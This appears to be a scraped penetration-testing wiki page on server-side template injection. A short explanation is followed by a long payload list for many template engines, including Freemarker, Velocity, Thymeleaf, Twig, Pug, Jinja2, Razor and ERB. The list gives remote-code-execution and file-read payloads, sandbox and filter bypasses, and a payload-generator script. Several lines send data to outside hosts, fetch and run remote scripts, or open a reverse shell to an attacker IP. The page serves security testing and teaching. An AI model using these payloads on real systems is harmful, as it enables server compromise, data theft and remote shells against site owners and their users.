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Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
output = template.render(name=request.args.get('name'))
In this vulnerable code, the name
parameter from the user's request is directly passed into the template using the render
function. This can potentially allow an attacker to inject malicious code into the name
parameter, leading to server-side template injection.
For instance, an attacker could craft a request with a payload like this:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}}
is injected into the name
parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\
) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
{{7*7}}
, ${7*7}
).greeting
in http://vulnerable-website.com/?greeting=data.username
to see if the server's output is dynamic or fixed, like in greeting=data.username}}hello
returning the username.Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}
, {{7/0}}
, and <%= 7/0 %>
. Observing the server's response to mathematical operations helps pinpoint the specific template engine.
an efficient SSTI + CSTI scanner which utilizes novel polyglots
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.
In this wordlist you can find variables defined in the environments of some of the engines mentioned below:
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Retrieve the systemโs environment variables
${T(java.lang.System).getenv()}
Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
You can try your payloads at https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
โ ๏ธ only works on Freemarker versions below 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
More information
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
More information
In Thymeleaf, a common test for SSTI vulnerabilities is the expression ${7*7}
, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:
SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf requires these expressions to be placed within specific attributes. However, expression inlining is supported for other template locations, using syntax like [[...]]
or [(...)]
. Thus, a simple SSTI test payload might look like [[${7*7}]]
.
However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own TemplateResolver
to create templates from strings on-the-fly, which is uncommon.
Thymeleaf also offers expression preprocessing, where expressions within double underscores (__...__
) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:
#{selection.__${sel.code}__}
Example of Vulnerability in Thymeleaf
Consider the following code snippet, which could be susceptible to exploitation:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
More information
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters
Multiple variable expressions can be used, if ${...}
doesn't work try #{...}
, *{...}
, @{...}
or ~{...}
.
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
More Information
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{{ someString.toUPPERCASE() }}
Old version of Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
New version of Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
More information
{% %}
statement delimiters{{ }}
expression delimiters{# #}
comment delimiters{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
More information
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:
Check the following page to learn more about the exploitation of EL interpreters:
The following Security Manager bypasses were taken from this writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
โโRootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
More information
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Template format
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
More information
Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Page template:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Layout template:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
More information
HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
More information
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
More information
patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
More information
Path Traversal (more info here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
More information
Template | Description |
---|---|
Evaluate and render output | |
Evaluate and render HTML encoded output | |
Comment | |
and | Allow code (disabled by default) |
Client Side
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Server Side
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
More information
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Example server side render
var pugjs = require('pug');
home = pugjs.render(injected_page)
More information
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
More information
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
More information
{ 7 * 7 }
{ %x|env| }
More information
Check out the following page to learn tricks about arbitrary command execution bypassing sandboxes in python:
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
More information
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Template format
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE not dependant from __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
More details about how to abuse Jinja:
Other payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
<%
import os
x=os.popen('id').read()
%>
${x}
More information
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <=Success
@{} <= ERROR!
@{ <= ERRROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start
method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
More information
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nothing<%= response.write(date()) %>
= <Date><%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
More Information
Even if it's perl it uses tags like ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
In Go's template engine, confirmation of its usage can be done with specific payloads:
{{ . }}
: Reveals the data structure input. For instance, if an object with a Password
attribute is passed, {{ .Password }}
could expose it.{{printf "%s" "ssti" }}
: Expected to display the string "ssti".{{html "ssti"}}
, {{js "ssti"}}
: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation here.XSS Exploitation
With the text/template
package, XSS can be straightforward by inserting the payload directly. Contrastingly, the html/template
package encodes the response to prevent this (e.g., {{"<script>alert(1)</script>"}}
results in <script>alert(1)</script>
). Nonetheless, template definition and invocation in Go can bypass this encoding: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE exploitation differs significantly between html/template
and text/template
. The text/template
module allows calling any public function directly (using the โcallโ value), which is not permitted in html/template
. Documentation for these modules is available here for html/template and here for text/template.
For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a System
method executing commands, it can be exploited like {{ .System "ls" }}
. Accessing the source code is usually necessary to exploit this, as in the given example:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
More information
Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
If you think it could be useful, read:
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